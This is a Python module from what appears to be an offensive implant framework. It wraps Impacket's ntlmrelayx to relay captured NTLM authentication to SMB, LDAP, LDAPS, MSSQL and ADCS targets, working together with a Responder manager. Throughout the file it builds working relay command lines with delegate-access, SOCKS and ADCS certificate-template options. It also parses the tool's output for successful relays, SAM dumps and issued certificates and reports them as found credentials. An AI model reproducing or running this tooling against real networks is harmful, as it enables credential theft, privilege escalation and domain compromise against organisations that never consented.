#!/usr/bin/env python3
"""NTLM Relay module — ntlmrelayx subprocess wrapper.

Manages Impacket's ntlmrelayx for relaying captured NTLM authentication
to target services. Supports relay to SMB, LDAP, LDAPS, HTTP, MSSQL,
and ADCS endpoints. Coordinates with ResponderManager to exclude relay
targets from Responder's SMB authentication.

Resources: ~40MB RAM, ~5% CPU
"""

import logging
import os
import re
import subprocess
import threading
import time
from typing import Optional

from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found

logger = logging.getLogger(__name__)

# Supported relay protocols
RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])


class NTLMRelay(BaseModule):
    """ntlmrelayx subprocess manager.

    Relays captured NTLM authentication to target services. Works
    in coordination with ResponderManager — targets being relayed
    should be excluded from Responder's SMB server to avoid consuming
    the authentication attempt locally.

    Dependencies:
        - Impacket installed (/opt/tools/impacket or pip install impacket)
        - responder_mgr (optional, for coordination)

    Configuration:
        ntlmrelayx_binary: Path to ntlmrelayx.py
        targets: List of relay target URLs (e.g., smb://192.168.1.10)
        protocols: Set of relay protocols to use
        adcs_template: ADCS certificate template for ESC attacks
    """

    name = "ntlm_relay"
    module_type = "active"
    priority = 150
    requires_root = True

    OUTPUT_POLL_INTERVAL = 5

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._proc: Optional[subprocess.Popen] = None
        self._output_thread: Optional[threading.Thread] = None
        self._ntlmrelayx_binary = config.get(
            "ntlmrelayx_binary", "/opt/tools/impacket/examples/ntlmrelayx.py"
        )
        self._iface = config.get("interface", "eth0")
        self._targets: list = []
        self._protocols: set = set()
        self._adcs_template: Optional[str] = None
        self._relay_active = False
        self._successful_relays: list = []
        self._relays_lock = threading.Lock()
        self._responder_mgr = None
        self._target_file = os.path.join(
            os.path.expanduser("~"), ".implant", "relay_targets.txt"
        )
        self._loot_dir = os.path.join(
            os.path.expanduser("~"), ".implant", "ntlmrelay_loot"
        )

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        # Optional responder_mgr for coordination
        self._responder_mgr = self.config.get("responder_mgr")

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        os.makedirs(os.path.dirname(self._target_file), exist_ok=True)
        os.makedirs(self._loot_dir, exist_ok=True)

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info("NTLMRelay module started (ready for relay commands)")

    def stop(self) -> None:
        if not self._running:
            return

        if self._relay_active:
            self.stop_relay()

        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("NTLMRelay module stopped")

    def status(self) -> dict:
        proc_alive = self._proc is not None and self._proc.poll() is None
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "relay_active": self._relay_active and proc_alive,
            "relay_pid": self._proc.pid if proc_alive else None,
            "targets": self._targets,
            "protocols": list(self._protocols),
            "adcs_template": self._adcs_template,
            "successful_relays": len(self._successful_relays),
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)
        if "ntlmrelayx_binary" in config:
            self._ntlmrelayx_binary = config["ntlmrelayx_binary"]
        if "adcs_template" in config:
            self._adcs_template = config["adcs_template"]

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def start_relay(self, targets: list, protocols: set = None) -> bool:
        """Start ntlmrelayx with specified targets and protocols.

        Args:
            targets: List of relay target URLs.
                     Format: "protocol://ip" (e.g., "smb://192.168.1.10")
                     Or plain IPs for default SMB relay.
            protocols: Set of protocols to relay to. If None, inferred from targets.

        Returns:
            True if ntlmrelayx was started.
        """
        if not self._running:
            logger.error("NTLMRelay not started")
            return False

        if self._relay_active and self._proc and self._proc.poll() is None:
            logger.warning("ntlmrelayx already running")
            return True

        self._targets = list(targets)
        self._protocols = protocols or self._infer_protocols(targets)

        # Write target file
        self._write_target_file()

        # Coordinate with Responder — exclude relay target IPs from SMB auth
        self._update_responder_exclusions()

        # Build command
        cmd = self._build_command()

        try:
            self._proc = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                cwd=self._loot_dir,
            )
            time.sleep(2)
            if self._proc.poll() is not None:
                stderr = self._proc.stderr.read().decode(errors="replace")
                logger.error("ntlmrelayx failed to start: %s", stderr)
                return False

            self._relay_active = True

            # Start output monitoring
            self._output_thread = threading.Thread(
                target=self._monitor_output, daemon=True, name="sensor-ntlmrelay-monitor"
            )
            self._output_thread.start()

            logger.info(
                "ntlmrelayx started (pid=%d, targets=%d, protocols=%s)",
                self._proc.pid, len(self._targets), self._protocols,
            )
            return True

        except FileNotFoundError:
            logger.error("ntlmrelayx.py not found at %s", self._ntlmrelayx_binary)
            return False
        except Exception:
            logger.exception("Failed to start ntlmrelayx")
            return False

    def stop_relay(self) -> bool:
        """Stop ntlmrelayx.

        Returns:
            True if relay was stopped.
        """
        if self._proc and self._proc.poll() is None:
            try:
                self._proc.terminate()
                self._proc.wait(timeout=5)
            except subprocess.TimeoutExpired:
                self._proc.kill()
                try:
                    self._proc.wait(timeout=2)
                except Exception:
                    pass
            except Exception:
                logger.exception("Failed to stop ntlmrelayx")
                return False
            finally:
                self._proc = None

        self._relay_active = False
        logger.info("ntlmrelayx stopped")
        return True

    def add_target(self, target: str) -> bool:
        """Add a relay target while ntlmrelayx is running.

        Args:
            target: Target URL (e.g., "smb://192.168.1.50").

        Returns:
            True if target was added (requires restart to take effect).
        """
        if target not in self._targets:
            self._targets.append(target)
            self._write_target_file()
            self._update_responder_exclusions()
            logger.info("Added relay target: %s (restart relay to apply)", target)
            return True
        return False

    # ------------------------------------------------------------------
    # Internal helpers
    # ------------------------------------------------------------------

    def _build_command(self) -> list:
        """Build the ntlmrelayx command line."""
        cmd = [
            "python3", self._ntlmrelayx_binary,
            "-tf", self._target_file,
            "-of", os.path.join(self._loot_dir, "hashes"),
            "-smb2support",
        ]

        # ADCS relay
        if self._adcs_template and "adcs" in self._protocols:
            cmd.extend(["--adcs", "--template", self._adcs_template])

        # LDAP relay options
        if "ldap" in self._protocols or "ldaps" in self._protocols:
            cmd.append("--delegate-access")

        # SOCKS proxy for interactive sessions
        cmd.append("-socks")

        return cmd

    def _write_target_file(self) -> None:
        """Write relay targets to file for ntlmrelayx -tf."""
        try:
            with open(self._target_file, "w") as f:
                for target in self._targets:
                    f.write(f"{target}\n")
        except Exception:
            logger.exception("Failed to write target file")

    def _infer_protocols(self, targets: list) -> set:
        """Infer relay protocols from target URLs."""
        protocols = set()
        for target in targets:
            if "://" in target:
                proto = target.split("://")[0].lower()
                if proto in RELAY_PROTOCOLS:
                    protocols.add(proto)
            else:
                protocols.add("smb")  # Default to SMB
        return protocols or {"smb"}

    def _update_responder_exclusions(self) -> None:
        """Update ResponderManager with IPs to exclude from SMB auth."""
        if not self._responder_mgr:
            return

        # Extract IPs from target URLs
        ips = set()
        for target in self._targets:
            if "://" in target:
                ip_part = target.split("://")[1].split(":")[0].split("/")[0]
            else:
                ip_part = target.split(":")[0].split("/")[0]
            ips.add(ip_part)

        try:
            self._responder_mgr.set_relay_targets(ips)
            logger.info("Updated Responder relay exclusions: %s", ips)
        except Exception:
            logger.exception("Failed to update Responder exclusions")

    # ------------------------------------------------------------------
    # Output monitoring
    # ------------------------------------------------------------------

    def _monitor_output(self) -> None:
        """Monitor ntlmrelayx output for successful relays and loot."""
        if not self._proc:
            return

        try:
            for line in iter(self._proc.stdout.readline, b""):
                if not self._running:
                    break
                decoded = line.decode("utf-8", errors="replace").strip()
                if not decoded:
                    continue

                self._parse_relay_output(decoded)

                if self._proc.poll() is not None:
                    break
        except Exception:
            pass

    def _parse_relay_output(self, line: str) -> None:
        """Parse ntlmrelayx output for successful relay events."""
        # Successful SMB relay
        if "authenticated successfully" in line.lower():
            relay_info = {
                "timestamp": time.time(),
                "type": "auth_success",
                "detail": line,
            }
            with self._relays_lock:
                self._successful_relays.append(relay_info)
            self.bus.emit(
                "CREDENTIAL_FOUND",
                {
                    "source_module": self.name,
                    "target_service": "ntlm_relay",
                    "credential_type": "relay_success",
                    "credential_value": line,
                },
                source_module=self.name,
            )
            logger.info("Successful NTLM relay: %s", line)

        # Secretsdump from relay
        elif "dumping" in line.lower() and "sam" in line.lower():
            logger.info("ntlmrelayx SAM dump: %s", line)

        # ADCS certificate obtained
        elif "certificate" in line.lower() and ("saved" in line.lower() or "base64" in line.lower()):
            self.bus.emit(
                "CREDENTIAL_FOUND",
                {
                    "source_module": self.name,
                    "target_service": "adcs_relay",
                    "credential_type": "certificate",
                    "credential_value": line,
                },
                source_module=self.name,
            )
            logger.info("ADCS certificate obtained via relay: %s", line)

        # SOCKS proxy opened
        elif "socks" in line.lower() and "connection" in line.lower():
            logger.info("ntlmrelayx SOCKS: %s", line)
